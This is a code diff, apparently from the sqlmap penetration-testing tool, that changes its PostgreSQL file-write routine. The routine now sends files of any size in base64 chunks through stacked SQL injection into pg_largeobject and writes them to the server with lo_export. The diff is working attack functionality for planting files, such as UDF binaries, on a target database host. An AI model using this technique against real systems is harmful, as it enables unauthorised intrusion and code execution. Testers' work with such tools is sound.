Fixes #1170

lib/core/settings.py

@@ -611,6 +611,9 @@ MIN_ENCODED_LEN_CHECK = 5
 # Timeout in seconds in which Metasploit remote session has to be initialized
 METASPLOIT_SESSION_TIMEOUT = 300
 
+# Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html
+LOBLKSIZE = 2048
+
 # Suffix used to mark variables having keyword names
 EVALCODE_KEYWORD_SUFFIX = "_KEYWORD"
 

plugins/dbms/postgresql/filesystem.py

@@ -11,12 +11,14 @@ from lib.core.common import randomInt
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.exception import SqlmapUnsupportedFeatureException
+from lib.core.settings import LOBLKSIZE
 from lib.request import inject
 from plugins.generic.filesystem import Filesystem as GenericFilesystem
 
 class Filesystem(GenericFilesystem):
     def __init__(self):
         self.oid = None
+        self.page = None
 
         GenericFilesystem.__init__(self)
 
@@ -35,34 +37,13 @@ class Filesystem(GenericFilesystem):
 
     def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
         wFileSize = os.path.getsize(wFile)
-
+        content = open(wFile, "rb").read()
-        if wFileSize > 8192:
-            errMsg = "on PostgreSQL it is not possible to write files "
-            errMsg += "bigger than 8192 bytes at the moment"
-            raise SqlmapUnsupportedFeatureException(errMsg)
 
         self.oid = randomInt()
-
+        self.page = 0
-        debugMsg = "creating a support table to write the base64 "
-        debugMsg += "encoded file to"
-        logger.debug(debugMsg)
 
         self.createSupportTbl(self.fileTblName, self.tblField, "text")
 
-        logger.debug("encoding file to its base64 string value")
-        fcEncodedList = self.fileEncode(wFile, "base64", False)
-
-        debugMsg = "forging SQL statements to write the base64 "
-        debugMsg += "encoded file to the support table"
-        logger.debug(debugMsg)
-
-        sqlQueries = self.fileToSqlQueries(fcEncodedList)
-
-        logger.debug("inserting the base64 encoded file to the support table")
-
-        for sqlQuery in sqlQueries:
-            inject.goStacked(sqlQuery)
-
         debugMsg = "create a new OID for a large object, it implicitly "
         debugMsg += "adds an entry in the large objects system table"
         logger.debug(debugMsg)
@@ -70,44 +51,25 @@ class Filesystem(GenericFilesystem):
         # References:
         # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
         # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
+
         inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
-        inject.goStacked("SELECT lo_create(%d)" % self.oid)
 
-        debugMsg = "updating the system large objects table assigning to "
+        for offset in xrange(0, wFileSize, LOBLKSIZE):
-        debugMsg += "the just created OID the binary (base64 decoded) UDF "
+            fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False)
-        debugMsg += "as data"
+            sqlQueries = self.fileToSqlQueries(fcEncodedList)
-        logger.debug(debugMsg)
 
-        # Refereces:
+            for sqlQuery in sqlQueries:
-        # * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html
+                inject.goStacked(sqlQuery)
-        # * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
-        #
-        # NOTE: From PostgreSQL site:
-        #
-        #   "The data stored in the large object will never be more than
-        #   LOBLKSIZE bytes and might be less which is BLCKSZ/4, or
-        #   typically 2 Kb"
-        #
-        # As a matter of facts it was possible to store correctly a file
-        # large 13776 bytes, the problem arises at next step (lo_export())
-        #
-        # Inject manually into PostgreSQL system table pg_largeobject the
-        # base64-decoded file content. Note that PostgreSQL >= 9.0 does
-        # not accept UPDATE into that table for some reason.
-        self.getVersionFromBanner()
-        banVer = kb.bannerFp["dbmsVersion"]
 
-        if banVer >= "9.0":
+            inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName))
-            inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, 0, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.tblField, self.fileTblName))
+            inject.goStacked("DELETE FROM %s" % self.fileTblName)
-        else:
+
-            inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
+            self.page += 1
 
         debugMsg = "exporting the OID %s file content to " % fileType
         debugMsg += "file '%s'" % dFile
         logger.debug(debugMsg)
 
-        # NOTE: lo_export() exports up to only 8192 bytes of the file
-        # (pg_largeobject 'data' field)
         inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
 
         written = self.askCheckWrittenFile(wFile, dFile, forceCheck)

plugins/generic/filesystem.py

@@ -42,7 +42,7 @@ class Filesystem:
             lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile
 
         elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
-            lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
+            lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid
 
         elif Backend.isDbms(DBMS.MSSQL):
             self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")
@@ -105,20 +105,27 @@ class Filesystem:
 
         return sqlQueries
 
-    def fileEncode(self, fileName, encoding, single):
+    def fileEncode(self, fileName, encoding, single, chunkSize=256):
         """
         Called by MySQL and PostgreSQL plugins to write a file on the
         back-end DBMS underlying file system
         """
 
-        retVal = []
         with open(fileName, "rb") as f:
-            content = f.read().encode(encoding).replace("\n", "")
+            content = f.read()
+
+        return self.fileContentEncode(content, encoding, single, chunkSize)
+
+    def fileContentEncode(self, content, encoding, single, chunkSize=256):
+        retVal = []
+
+        if encoding:
+            content = content.encode(encoding).replace("\n", "")
 
         if not single:
-            if len(content) > 256:
+            if len(content) > chunkSize:
-                for i in xrange(0, len(content), 256):
+                for i in xrange(0, len(content), chunkSize):
-                    _ = content[i:i + 256]
+                    _ = content[i:i + chunkSize]
 
                     if encoding == "hex":
                         _ = "0x%s" % _